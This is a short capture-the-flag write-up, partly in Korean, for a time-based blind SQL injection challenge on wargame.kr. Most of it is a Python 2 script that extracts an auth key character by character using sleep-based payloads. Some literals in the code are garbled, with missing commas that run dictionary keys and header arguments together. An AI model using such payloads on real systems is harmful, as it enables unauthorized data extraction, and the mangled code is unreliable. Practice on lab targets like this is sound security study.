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QnA

 

Time based SQLi challenge. (with Insert Query)

you can't see the result after insert query.
but you can SQLi Attack!

 

 

 

time based sqli를 사용해야하나 보다

 

 

 

 

to JSMater에서 type에서 sqli이 일어난다.

 

 

lonely guys에서 사용했던 스크립트 거의 그대로 사용하면 된다.

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import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/qna/?page=to_jsmaster"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"cont""a""mail""guest""type": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = "if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
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